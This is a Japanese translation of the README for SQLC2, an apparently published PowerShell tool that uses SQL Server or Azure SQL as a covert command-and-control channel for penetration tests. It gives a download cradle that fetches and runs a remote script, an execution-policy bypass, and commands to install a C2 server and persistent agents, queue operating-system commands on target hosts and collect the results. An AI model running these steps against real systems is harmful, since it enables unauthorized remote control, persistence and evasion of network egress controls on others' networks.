
SQLC2は、SQL Serverをコントロールサーバーとエージェントの両方として使用するコマンド&コントロールシステムを展開・管理するためのPowerShellスクリプトです。
SQLC2は、SQL Serverをコントロールサーバーとエージェントの両方として使用するコマンド&コントロールシステムを展開および管理するためのPowerShellスクリプトです。 中核となるのは、SQLC2は単なるPowerShellスクリプト、TSQLスクリプト、そしてSQL Serverインスタンス内のエージェント、コマンド、結果を追跡するいくつかのテーブルにすぎません。凝ったものではありませんが、一部のエンゲージメントでは役立つかもしれません。
SQLC2のより完全な概要については、https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/ のブログを参照してください。
Azure SQL Serverデータベースを使い始める企業が増えています。これらのAzure SQL Serverインスタンスが作成されると、database.windows.netのサブドメインを介してポート1433でアクセス可能になります。たとえば、"mysupersqlserver.database.windows.net"という名前のSQL Serverインスタンスを作成できます。その結果、一部の企業ネットワーク構成では、ポート1433の任意の"database.windows.net"サブドメインへのアウトバウンドインターネットアクセスが許可されています。
基本的な考え方は、Azure SQL Serverの採用が増えるにつれて、通常のトラフィックのように見えるコントロールチャネルとしてSQL Serverを利用する機会が増えるだろうということです。 SQLPSはかなり基本的な概念実証ですが、このアイデアを示すには十分に機能すると思います。改善すべき点はかなりあると分かっていますが、もし試していただけたら、フィードバックをお寄せください。
SQLC2をAzure SQL Serverインスタンスと一緒に使用することに重点を置いていますが、任意のクラウド環境で独自のSQL Serverをホストし、SSLを有効にしてポート443で待ち受けることもできます。つまり、どれだけ労力をかけるか次第で、もう少し柔軟性が得られる可能性があります。
オプション1: スクリプトをダウンロードしてインポートします。 これには管理者権限は不要で、現在のセッションにのみインポートされます。 ただし、制限付きの実行ポリシーによってブロックされる可能性があるため、バイパスオプションを使用することをお勧めします。
Set-ExecutionPolicy Bypass -Scope Process
Import-Module SQLC2.ps1
オプション2: ダウンロードクレードルを介してセッションに読み込みます。 これには管理者権限は不要で、現在のセッションにのみインポートされます。 実行ポリシーによってブロックされることはありません。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")
注記: 別のドメインユーザーとして実行するには、最初にrunasコマンドを使用してPowerShellを起動してください。
runas /noprofile /netonly /user:domain\user PowerShell.exe

以下に、意図したワークフローをサポートするユーザー関数の一覧を示します。
以下はサンプルのスクリーンショットです。
SQLC2サーバーのインストール(テーブルの作成):
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2エージェントのインストール(サーバーリンクを使用するSQL Serverエージェントジョブ):
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2エージェントの表示:
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

エージェントで実行するコマンドの設定:
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

コマンド結果の取得:
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

| 関数名 | 説明 |
|---|
| Install-SQLC2Server | ターゲットのSQL Server/データベースにSQLC2テーブルをインストールします。 |
| Install-SQLC2AgentPs | SQL Serverエージェントジョブとサーバーリンクを使用するエージェントをインストールします。 |
| Install-SQLC2AgentLink | スケジュールタスクまたはレジストリキーを使用してPowerShellコマンドを実行するエージェントをインストールします。 |
| Set-SQLC2Command | エージェントが実行するオペレーティングシステムコマンドを設定します。 |
| Get-SQLC2Command | エージェント向けにC2から保留中のオペレーティングシステムコマンドの一覧を取得します。 -Executeフラグを使用して、保留中のコマンドを実行することもできます。 |
| Get-SQLC2Agent | SQLC2サーバーに登録されているエージェントの一覧を取得します。 |
| Get-SQLC2Result | 保留中および完了したコマンドの一覧を取得します。servername、status、cidフィルターに対応しています。 |
| Remove-SQLC2Agent | SQLC2に登録されているエージェントを削除します。履歴をクリアするだけです。 |
| Remove-SQLC2Command | SQLC2サーバー上のコマンド履歴を削除します。 |
| Uninstall-SQLC2AgentLink | サーバーリンクとエージェントジョブを使用するSQLC2エージェントをアンインストールします。 |
| Uninstall-SQLC2AgentPs | オペレーティングシステムベースの永続化方法をすべてアンインストールします。 |
| Uninstall-SQLC2Server | ターゲットデータベースからSQLC2テーブルを削除します。 |